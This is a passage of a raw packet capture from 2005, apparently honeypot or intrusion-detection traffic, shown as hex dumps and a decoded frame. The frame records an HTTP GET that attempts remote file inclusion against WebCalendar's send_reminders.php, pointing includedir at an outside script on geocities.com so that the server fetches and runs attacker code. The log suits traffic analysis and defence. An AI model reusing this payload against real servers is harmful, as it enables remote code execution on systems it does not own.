00c0  6e 67 75 61 67 65 3a 20 65 6e 2d 75 73 0d 0a 41   nguage: en-us..A
00d0  63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20   ccept-Encoding: 
00e0  67 7a 69 70 2c 20 64 65 66 6c 61 74 65 0d 0a 55   gzip, deflate..U
00f0  73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c   ser-Agent: Mozil
0100  6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62   la/4.0 (compatib
0110  6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b 20 57 69   le; MSIE 6.0; Wi
0120  6e 64 6f 77 73 20 39 38 29 0d 0a 48 6f 73 74 3a   ndows 98)..Host:
0130  20 32 30 33 2e 38 37 2e 31 35 32 2e 33 38 0d 0a    xxx.87.152.38..
0140  43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73   Connection: Clos
0150  65 0d 0a 0d 0a                                    e....

No.     Time                       Source                Destination           Protocol Info
  45536 2005-11-28 00:34:06.292185 xxx.203.134.100        xxx.87.152.38         HTTP     GET /WebCalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 45536 (341 bytes on wire, 341 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 60163 (60163), Dst Port: http (80), Seq: 1, Ack: 1, Len: 275
Hypertext Transfer Protocol
    GET /WebCalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /WebCalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 47 ec 85 40 00 30 06 31 7e 41 cb 86 64 cb 57   .G..@.0.1~A..d.W
0020  98 26 eb 03 00 50 0b f1 44 05 25 c8 bb 72 80 18   .&...P..D.%..r..
0030  16 d0 54 9b 00 00 01 01 08 0a e0 b3 a9 0e 00 00   ..T.............
0040  00 00 47 45 54 20 2f 57 65 62 43 61 6c 65 6e 64   ..GET /WebCalend
0050  61 72 2f 74 6f 6f 6c 73 2f 73 65 6e 64 5f 72 65   ar/tools/send_re
0060  6d 69 6e 64 65 72 73 2e 70 68 70 3f 69 6e 63 6c   minders.php?incl
0070  75 64 65 64 69 72 3d 68 74 74 70 3a 2f 2f 77 77   udedir=http://ww
0080  77 2e 67 65 6f 63 69 74 69 65 73 2e 63 6f 6d 2f   w.geocities.com/
0090  74 72 75 73 74 6f 70 74 2f 74 2e 74 78 74 3f 20   trustopt/t.txt? 
00a0  48 54 54 50 2f 31 2e 31 0d 0a 41 63 63 65 70 74   HTTP/1.1..Accept
00b0  3a 20 2a 2f 2a 0d 0a 41 63 63 65 70 74 2d 4c 61   : */*..Accept-La
00c0  6e 67 75 61 67 65 3a 20 65 6e 2d 75 73 0d 0a 41   nguage: en-us..A
00d0  63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20   ccept-Encoding: 
00e0  67 7a 69 70 2c 20 64 65 66 6c 61 74 65 0d 0a 55   gzip, deflate..U
00f0  73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c   ser-Agent: Mozil
0100  6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62   la/4.0 (compatib
0110  6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b 20 57 69   le; MSIE 6.0; Wi
0120  6e 64 6f 77 73 20 39 38 29 0d 0a 48 6f 73 74 3a   ndows 98)..Host:
0130  20 32 30 33 2e 38 37 2e 31 35 32 2e 33 38 0d 0a    xxx.87.152.38..
0140  43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73   Connection: Clos
0150  65 0d 0a 0d 0a                                    e....